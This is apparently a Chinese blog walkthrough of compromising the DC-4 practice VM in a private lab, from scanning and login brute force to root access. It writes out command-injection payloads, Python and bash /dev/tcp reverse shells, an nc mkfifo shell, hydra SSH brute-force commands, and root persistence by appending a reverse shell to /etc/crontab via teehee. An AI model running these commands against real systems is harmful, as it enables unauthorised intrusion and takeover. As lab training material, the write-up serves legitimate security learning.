今天给大家带来DC-4靶机的详细渗透教程;
本来这个靶机就是一个很简单的靶机,但是可能是我想用多种方法来getshell,导致最后也用来
六个小时了写这篇文章(有时候想法太多也不是一种好事啊。。)
文章目录
前置准备
首先我们将DC-4靶机的网络设置为192.168.106.0/24网段,并且网卡选择为VulnBox的仅主机模式:


我们将Kali也设置一个相应的NAT网段,让其能够与DC-4靶机互相通信:

- kali的IP地址:
192.168.56.102
话不多说,直接开始对靶机的渗透;
信息收集
还是老样子,使用nmap对靶机进行网段的扫描,得到准确的IP地址:
bash
nmap -sP 192.168.56.0/24
nmap -sC -sV -A -T4 -p- 192.168.56.108

发现存在两个可疑的IP地址,究竟哪个是靶机?
不确定的话,就分别对他们进行进一步的信息收集:

这里可以确定为192.168.56.108为我们的目标靶机,因为使用nmap对106主机进行探测的时候,两者并不能通信;
从上述收集的到信息,我们可以知道目标主机开放的端口以及服务:
22/tcp:ssh服务80/tcp:http服务
Web页面信息收集
我们接下来就先访问一下Web页面,看看存在那些有用的信息:

我们可以看到是一个不符合现在审美的一个登录框,而像这种形式,我们首先可以尝试的就是SQL注入以及弱口令爆破;
SQL注入
- 首先我们用bp抓个包,然后放到sqlmap里,查看是否存在SQL注入:


跑了十几分钟,没有得到结果;
弱口令爆破
- 使用BP进行爆破:

开始攻击:

翻到最后,成功得到了账号密码:
admin/happy
Web目录进行枚举
- 并且在尝试SQL注入的时候,我们还可以对其Web目录进行枚举,看看是否还存在哪些可以利用的信息:
(这里我使用的工具是dirsearch)
bash
python dirsearch.py -t 100 -u http://192.168.56.108/ --include-status 200,301

可以看到没有什么可用的信息;
漏洞利用
根据我们上述得到的账号密码,成功进入了系统后台:

点击三个不同的按钮,我们可以得到不同的信息:
(1)List Files

(2)Disk Usage

(3)Disk Free ------ 磁盘释放,重新跳转到第一个页面;

这里我们用bp抓个包,发现它执行的命令可以返回相应的结果;既然如此,我们直接修改命令,看看效果:


根据上述返回的结果,这就好办了,我们直接用它来返回一个shell,进而用kali去控制目标机器;
方法一:创建一个php文件,使用Webshell工具连接(失败)
尝试了几次,发现一句话木马被过滤了:
bash
echo "<?=eval($_POST['cmd']);" > /usr/share/nginx/html/index.php

由此推测,Web系统可能对命令执行做了黑名单设置;
有尝试了其他命令执行的绕过方法(具体的可以看CTFshow靶场系列),都没有办法:

尝试写入文件,发现只有
root用户才有权限(我还尝试了十几分钟。。。)
方法二:直接反弹shell命令(成功)
bash
export RHOST="192.168.56.102";export RPORT=9001;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'
# url编码后
export%20RHOST%3D%22192.168.56.102%22%3Bexport%20RPORT%3D9001%3Bpython3%20-c%20'import%20sys%2Csocket%2Cos%2Cpty%3Bs%3Dsocket.socket()%3Bs.connect((os.getenv(%22RHOST%22)%2Cint(os.getenv(%22RPORT%22))))%3B%5Bos.dup2(s.fileno()%2Cfd)%20for%20fd%20in%20(0%2C1%2C2)%5D%3Bpty.spawn(%22sh%22)'

kali上成功反弹一个shell:

越权
随后查看目标机器的版本:

系统内核漏洞(失败)
尝试到漏洞库去查找内核漏洞:

随后编译c文件,上传到目标机器进行执行:

结果失败了:Linux 程序依赖的 GNU C 库(GLIBC)版本不兼容 (之前还解决了其他问题,但是都没有用。。。不弄了,浪费时间)
漏洞利用:ssh爆破
随后我们查看/etc/passwd目录,发现存在三个用户:

我们去到 /home 目录下,一个个进行查看:
- charles和sam用户:无任何线索;
- jim用户:存在s 权限的脚本

之后的思路:
这说明,我们可以使用sudo命令去执行test.sh(相当于以
root权限执行),从而达到越权的目的;
- 而这个文件我们普通用户也是有x执行权限的;只要知道其中一个用户登陆的密码即可:
- 随后修改脚本内容,反弹一个root权限的shell即可;
- (相应的思路在靶机Sar1渗透横向详细过程)有说明,可以去看看
随后我们在backups里发现了一个密码列表:old-passwords.bak

发现里面有几百个密码,我们是不是忘了目标机器还开放着
22端口。正好拿来爆破一下;
- (hydar如果显示未安装,那么执行命令
apt install hydra即可)
bash
# 使用示例:
hydra -l user -P passlist.txt ftp://192.168.56.108
hydra -L userlist.txt -p defaultpw imap://192.168.56.108/PLAIN
hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
hydra -l admin -p password ftp://[192.168.56.0/24]/
hydra -L logins.txt -P pws.txt -M targets.txt ssh
-l 后面跟着 具体的用户名
-p 后面跟着 具体的密码
-L 后面跟着 用户字典
-P 后面跟着 密码字典
先将密码保存在psw文件中,然后开始爆破:(刚好把这个加入我的字典,留着以后用)
bash
cp old-passwords.bak /tmp/pass.txt
# 开始攻击
hydra -l jim -P pass.txt -t 4 ssh://192.168.56.108

最后得到密码jibril04,连接:
bash
ssh jim@192.168.56.108 -p 22
jibril04
成功连接;

接下来就是getshell了;
Getshell
方法一:网上WP(创建新用户)
说有一个邮件,找找看在哪; 在/var/mail 中找到 内容是:
bash
jim@dc-4:/var/mail$ cat jim
From charles@dc-4 Sat Apr 06 21:15:46 2019
Return-path: <charles@dc-4>
Envelope-to: jim@dc-4
Delivery-date: Sat, 06 Apr 2019 21:15:46 +1000
Received: from charles by dc-4 with local (Exim 4.89)
(envelope-from <charles@dc-4>)
id 1hCjIX-0000kO-Qt
for jim@dc-4; Sat, 06 Apr 2019 21:15:45 +1000
To: jim@dc-4
Subject: Holidays
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
Message-Id: <E1hCjIX-0000kO-Qt@dc-4>
From: Charles <charles@dc-4>
Date: Sat, 06 Apr 2019 21:15:45 +1000
Status: O
Hi Jim,
I'm heading off on holidays at the end of today, so the boss asked me to give you my password just in case anything goes wrong.
Password is: ^xHhA&hvim0y
See ya,
Charles
给了一个charles 的密码
^xHhA&hvim0y,切换登陆看看su charles

发现teehee不需要密码可以有root权限,可以利用teehee提权,用teehee用户添加一个admin用户

然后切换到admin用户就有root权限了:
方法二:创建定时任务,获取root权限
bash
# 覆盖test.sh所有内容(清空原有循环脚本,写入反向Shell命令)
echo 'mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.56.102 4444 > /tmp/f' > test.sh
随后发现用Jim用户,执行不了?------不在sudoers列表里

既然如此,那就只能用
teehee提权来执行了;
(1)切换到charles用户:
- 账号:charles
- 密码:
^xHhA&hvim0y
(2)随后创建定时任务:
bash
sudo /usr/bin/teehee -a /etc/crontab << EOF
* * * * * root bash -c 'bash -i >& /dev/tcp/192.168.56.102/4444 0>&1'
EOF
输入过程:
- 输入第一行 → 回车
- 出现
>→ 正常(不是错误) - 输入 cron 内容 → 回车
- 输入
EOF→ 回车 - 命令结束,返回普通 shell 提示符

随后查看定时任务:

成功创建;
而kali也返回了root权限的shell:


至此,我们完全控制了这台主机;
小失误
之前不是在Jim用户下发现了一个test.sh文件吗:
- 只有在
/etc/sudoers中被授权的用户,执行sudo test.sh时,才能以 root 权限运行该脚本。 - 如果该普通用户未在 /etc/sudoers 中授权:执行sudo时会被系统拒绝 (提示无权限),无法运行test.sh。
- (我以为有了
s权限,任何人执行就能返回root权限)
- (我以为有了
总结
本来这个靶机就是一个很简单的靶机,但是可能是我想用多种方法来getshell,导致最后也用来六个小时了写这篇文章(有时候想法太多也不是一种好事啊。。)
期待下次再见;




